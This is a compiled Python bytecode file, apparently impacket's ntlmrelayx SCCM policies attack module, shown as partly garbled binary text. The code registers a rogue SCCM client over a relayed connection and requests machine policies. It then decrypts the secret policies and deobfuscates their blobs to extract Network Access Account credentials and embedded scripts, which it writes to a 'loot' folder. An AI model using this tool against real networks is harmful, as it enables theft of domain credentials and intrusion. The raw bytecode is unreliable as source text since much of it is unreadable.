o jp@s2ddlZddlZddlZddlZddlZddlZddlZddlmm Z ddl m Z ddl m Z mZddlmZddlmZddlmZddlmZddlmZmZmZdd lmZdd lmZmZm Z dd l!m"Z"dd l#m$Z$m%Z%m&Z&dd l'm(Z(ddl)m*Z*ddl+m,Z,dZ-dZ.dZ/dZ0dZ1dZ2iddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:Z3d;d<Z4d=d>Z5d?d@Z6dAdBZ7dCdDZ8dEdFZ9dGdHZ:dIdJZ;dKdLZdQdRZ?dSdTZ@dUeAfdVdWZBdXdYZCdZd[ZDGd\d]d]ZEdS)^N)sleep)datetime timedelta)LOG)x509)NameOID)ObjectIdentifier) serializationhashespadding)rsa)PKCS1v15OAEPMGF1)SHA1)Cipher algorithmsmodes)default_backend)rfc5652)decodeaP {encryption}{signature} z{data}{signature}a{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000a%{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000aYGUID:{clientid}{clientfqdn}{client}SMS:PRIa 01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}z1.2.840.113549.3.7 des-ede3-cbcz1.2.840.113549.1.1.1 rsaEncryptionz1.2.840.113549.1.1.2md2WithRSAEncryptionz1.2.840.113549.1.1.3md4withRSAEncryptionz1.2.840.113549.1.1.4md5WithRSAEncryptionz1.2.840.113549.1.1.5zsha1-with-rsa-signaturez1.2.840.113549.1.1.6rsaOAEPEncryptionSETz1.2.840.113549.1.1.7 id-RSAES-OAEPz1.2.840.113549.1.1.8zid-mgf1z1.2.840.113549.1.1.9z id-pSpecifiedz1.2.840.113549.1.1.10z rsassa-pssz2.16.840.1.101.3.4.1.41 aes256_ecbz2.16.840.1.101.3.4.1.42 aes256_cbcz2.16.840.1.101.3.4.1.43 aes256_ofbz2.16.840.1.101.3.4.1.44 aes256_cfbz2.16.840.1.101.3.4.1.45 aes256_wrapz2.16.840.1.101.3.4.1.46 aes256_gcm aes256_ccmaes256_wrap_pad)z2.16.840.1.101.3.4.1.47z2.16.840.1.101.3.4.1.48c Cstttjdg}}t||| t  t tddt tddjtjdddddddddd ddjttd td gdd|t}|S) NzConfigMgr Client)daysimTF) digital_signaturekey_encipherment key_cert_sign key_agreementcontent_commitmentdata_enciphermentcrl_sign encipher_only decipher_only)criticalz1.3.6.1.4.1.311.101.2z1.3.6.1.4.1.311.101)rName NameAttributer COMMON_NAMECertificateBuilder subject_name issuer_name public_key serial_numberrandom_serial_numbernot_valid_beforerutcnowrnot_valid_after add_extensionKeyUsageExtendedKeyUsagersignr SHA256) privatekeysubjectissuercertrG/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.pycreate_certificateXsF    rIcCstjddd}|S)Nii)public_exponentkey_size)r generate_private_key)rCrGrGrHcreate_private_keytsrMcCs,||tt}t|}|t|SN)rAr r rB bytearrayreversebytes) private_keydata signature signature_revrGrGrH SCCM_signxsrVcCs6d}||jjt|jddd}|S)NsRSA1little) byteorder)r8public_numbersnto_bytesintrKhexupper)rR blobHeaderblobrGrGrHbuild_MS_public_key_blobs& rbcCs|dddS)Nutf-16r&)encode)rSrGrGrHencode_UTF16_strip_BOMsrecCs6|d}|dkr|d|d}|d|}|S|S)Nz)rfindfind) xml_stringroot_endclean_xml_stringrGrGrHclean_junk_in_XMLs  rnc Cstjtd|||dd|d}t|t| }t j||d}t|d d}t jt |d|td|d }d d}|| d d d7}|t|d d7}|S)N%Y-%m-%dT%H:%M:%SZ.r)date encryptionrTclient clientfqdn)rSrTz asciir&) bodylengthrsrq sccmserverJ--aAbBcCdDv1234567890VxXyYzZ content-type: text/plain; charset=UTF-16 rcJ --aAbBcCdDv1234567890VxXyYzZ content-type: application/octet-stream --aAbBcCdDv1234567890VxXyYzZ--)REGISTRATION_REQUEST_TEMPLATEformatrnowstrftimesplitrVrer^r_%REGISTRATION_REQUEST_WRAPPER_TEMPLATErdSCCM_HEADER_TEMPLATElenzlibcompress) management_pointr8rR client_nameregistrationRequestrTregistrationRequestWrapperregistrationRequestHeader final_bodyrGrGrH%generate_registration_request_payloads.     rc Csttj|||dddd}t|}t|}d|}t|t|d d }t|| } t jt |d||dd||| |t d d } d d} | | d d d7} | |d d7} | S)Nrpr)clientidrtrss GUID:rur&ro)rvrwrs publickeyclientIDsignaturepayloadsignaturerrqrxrcryrz)rePOLICY_REQUEST_TEMPLATEr|rrrrbr_rVrdr^POLICY_REQUEST_HEADER_TEMPLATErrr}r~) rrR client_guidr policyRequestpolicyRequestCompressed MSPublicKeyclientIDclientIDSignaturepolicyRequestSignaturepolicyRequestHeaderrrGrGrH!generate_policies_request_payloads4       rcCs ||tttdtddS)N) algorithm)mgfrlabel)decryptrrr encrypted_keyrRrGrGrHdecrypt_key_OEAPs rcCs||tSrN)rr rrGrGrHdecrypt_key_RSAsrcC@tt|t|td}|}|||}| dSNbackendutf-16le) rr TripleDESrCBCr decryptorupdatefinalizerbody plaintextkeyivcipherr plaintextrGrGrHdecrypt_body_triple_DES rcCrr) rrAESrrrrrrrrrGrGrHdecrypt_body_AESCBCrrc Cst|td\}}t|dtd\}}|dddd}t|ddddd}|d d d d d}|d d }t|d d d}z(t|dkr^t||} nt|dkrjt ||} nt dt|dWdSWnt y} z t dWYd} ~ dSd} ~ wwz,t|dkrt || |} W| St|dkrt|| |} W| St dt|dWdSt y} z t dWYd} ~ dSd} ~ ww)N)asn1SpeccontentrecipientInfosrktri encryptedKeykeyEncryptionAlgorithmrencryptedContentInfocontentEncryptionAlgorithm parametersr&encryptedContentrrzKey decryption algorithm z is not currently implemented.z%[-] Unknown key decryption algorithm.rrz[-] Body decryption algorithm z&[-] Unknown body decryption algorithm.)rr ContentInfogetComponentByName EnvelopedDataasOctetsstr OID_MAPPINGrrrerrorKeyErrorrr) policy_responserRr_encryptedRSAKeykeyEncryptionOIDrrbodyEncryptionOIDre plaintextbodyrGrGrHdecrypt_secret_policysD        rsecretc Cstdgd}tdgd}tjttd}|||}tt|D]}||||N<||||N<q'tjttd}|||}tjttd}|||} || dd} | S)N6@\r) rOr Hashrrrrranger) rbuf1buf2digesthash_idigest1hash1digest2hash2 derived_keyrGrGrHmscrypt_derive_key_sha1s    rc Cst|tr t|}t|ddd}|dd|}t|dd}tdgd}tt |t |t d }| }|||}td}|||}z|d }W|S|}Y|S) N48rXrr,rrWrz utf-16-le) isinstancerrQfromhexr] from_bytesrrrrrrrrrrr PKCS7unpadderrr^) output data_lengthbufferkeyrrrdecrypted_datapadderrGrGrHdeobfuscate_secret_policy_blobs"    rc Cst|}d}d}d}d}d}d}d}d}g} ||@dkr!| d ||@dkr,| d ||@dkr7| d ||@dkrB| d ||@dkrM| d ||@dkrX| d||@dkrc| d| S)Nrrhr&rrW r TASKSEQUENCE REQUIRESAUTHSECRET INTRANETONLYPERSISTWHOLEPOLICYAUTHORIZEDDYNAMICDOWNLOAD COMPRESSED)r]append) policyFlagValueNONErrrrrrrresultrGrGrHparse_policies_flags6s2              rc@s4eZdZddZddZddZddZd d Zd S) SCCMPoliciesAttackc Cstd|jjdkr dndd|jj}|jjdtdd}|jj dkr3|j d |j_ |jj dkr=d |j_ zt j|d d td |Wntyi}ztd|WYd}~dSd}~wwt |dtdt}t|}|tjj}t|dd}||tjjWdn1swYt|dd}||jtjjtjjtdWdn1swYtd|jj dt ||||jj }z'|!||} | dkrtdWdSt"#| dd} | j$d%dd} Wnty+} ztd| WYd} ~ dSd} ~ wwt|dd}|| dWdn 1sHwYt|d d}||jj dWdn 1skwYtd!| td"|jj d#t&t'|jj t(||| |jj } z|)|| }t"#|dd} | *d$}i}|D]J}d%|j$vr|j$d%nd&d'|j$vr|j$d'nd&d(|j$vr|j$d(nd&d)|j$vrt+|j$d)nd&|d*j,-d+|%d,dd-||j$d.<qt|d/d}|t./|Wdn 1swYt|d0d }||Wdn 1s2wYi}|0D]\}}t1|d)t2rTd1|d)vrT|||<q=Wntys} ztd2| WYd} ~ dSd} ~ wwtd3t3|4d4t3|4d5t3|4d*krtd6dS|0D]J\}}z'|5|||| |}|d7durtd8|d7d9d:|d7d;dWqty} ztd<|d=| WYd} ~ qd} ~ wwtd>|td?dS)@NzStarting SCCM policies attackihttpshttpz://rz %Y%m%d%H%M%S_sccm_policies_loot$T)exist_okzLoot directory is: z&Error creating base output directory: z/devicez;Generating Private key and client (self-signed) certificatez/device/cert.pemwbz/device/key.pem)encodingr|encryption_algorithmz*Registering SCCM client with client name ''zDevice registration failedrfSMSIDrrhzDevice registration failed: z/device/guid.txtw z/device/client_name.txtz%Client registration complete - GUID: z Sleeping for z secondsz .//Policy PolicyVersionzN/A PolicyTypePolicyCategory PolicyFlagsrzzhttp://)rrrrPolicyLocationPolicyIDz/policies.jsonz /policies.rawrzPolicies request failed: zPolicies list retrieved. z total policies; z secret policieszNo secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrongNAA_credentialsz$Retrieved NAA account credentials: 'NetworkAccessUsername:NetworkAccessPasswordz:Encountered an error when trying to process secret policy z - z-DONE - attack finished. Check loot directory zYou can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.)6rinforsporthostrr}r~configSCCMPoliciesClientnameusernamerstripSCCMPoliciesSleeposmakedirs ExceptionrrMrI public_bytesr EncodingDERr^r_openwritePEM private_bytes PrivateFormatTraditionalOpenSSL NoEncryptionrregister_clientET fromstringattribrrr]rrequest_policiesfindallrtextreplacejsondumpsitemsrlistrkeyssecret_policy_process)selfrloot_direrrrR certificater8fregistration_request_payloadregister_responserootrrpolicies_request_payloadpolicies_responsepolicies policies_jsonpolicysecret_policiesrvaluerrGrGrH_runWs " $     ( ($zSCCMPoliciesAttack._runc Cdddd}|jjd|d||d|j}d}|d |}|D](}|r/|d kr0q'z |d d \}} WnYd |vrOt| d} | Sq'dS)NcloseConfigMgr Messaging HTTP Sender6multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ" Connection User-Agentz Content-TypeCCM_POSTz/ccm_system_windowsauth/requestheadersaAbBcCdDv1234567890VxXyYzZ----  rhapplication/octet-streamrc rsrequest getresponsereadrrdr decompressr) r=rrBrVrboundarymultipart_datapart headers_partrdecompressed_contentrGrGrHr/s( z"SCCMPoliciesAttack.register_clientc CrM)NrNrOrPrQrTz/ccm_system/requestrUrWrXrYrZrhr[rcr\) r=rrErVrrarbrcrdrrerGrGrHr3s( z#SCCMPoliciesAttack.request_policiescCsddd}d|dtdd|d<t|d|dtddd d dd d |d <|jjd||d|j }|S)NrNrO)rRrSr;roz;2 ClientTokenrcr&rruClientTokenSignatureGETrU) rr}r~rVrdr^r_rsr]r^r_)r= policy_urlrrRrVrrGrGrHrequest_policys Fz!SCCMPoliciesAttack.request_policyc Cstd|t|d|ddd}||d||}t||dd}t|}|ddkrMtdt |} t | j } t | } | d }t|d|d d  } | |Wdn1shwYt |} i} |ddkr| d D]0}d}d}|d D] }|d}|dkr|dj }q|dkr|dj }q|| |<qn| d}|D] }|dj | |jd<qtdt| dt| D]\}}t| |}|d|dt|dd|d}t|d } | d|d| |dWdn 1swY|dkr#||d<|dkr,||d<td|dzht t|}|d }t|dkrtdt|d!t|D]C\}}t|j d"}t|d|dt|dd|d#|dd d } | || dWdn 1swYqYWqtjy}z td$WYd}~qd}~ww|ddurd%|iSd%diS)&NzProcessing secret policy /)rrrrfrCollectionSettingszFProcessing a CollectionSettings policy to extract collection variablesutf16z /policy.txtrz .//instancepropertynamer2rKValuez.//*[@secret="1"]rzFound z% obfuscated blob(s) in secret policy.z /secretBlob_rh-z.txtzSecret property name: z rrruDeobfuscated blob n°z.//*[@property="SourceScript"]z% embedded powershell scripts in blob.r_embeddedScript_z1Failed parsing XML on this blob - not XML contentr)rrr"r#rlrrndebugr0r1binascii unhexlifyr5rr`rr(r)r4getrjstripr2rr; enumeraterrbase64 b64decode ParseError)r=policyIDrIrRrr>rr decryptedrD binary_datadecompressed_datarA blobs_setinstancerqrKprop prop_nameobfuscated_blobsobfuscated_blobr blob_namerSfilenameblobrootsource_scriptsjscriptdecoded_scriptrrGrGrHr<s              $    6    z(SCCMPoliciesAttack.secret_policy_processN)__name__ __module__ __qualname__rLr/r3rlr<rGrGrGrHrUs a r)Fr"rr7r{stringrandomrvxml.etree.ElementTreeetree ElementTreer0timerrrimpacketr cryptographyrcryptography.x509.oidrcryptography.x509rcryptography.hazmat.primitivesr r r )cryptography.hazmat.primitives.asymmetricr 1cryptography.hazmat.primitives.asymmetric.paddingr rr%cryptography.hazmat.primitives.hashesr&cryptography.hazmat.primitives.ciphersrrrcryptography.hazmat.backendsrpyasn1_modulesrpyasn1.codec.der.decoderrr{rrrr REPORT_BODYrrIrMrVrbrernrrrrrrrrQrrrrrGrGrGrHs                 #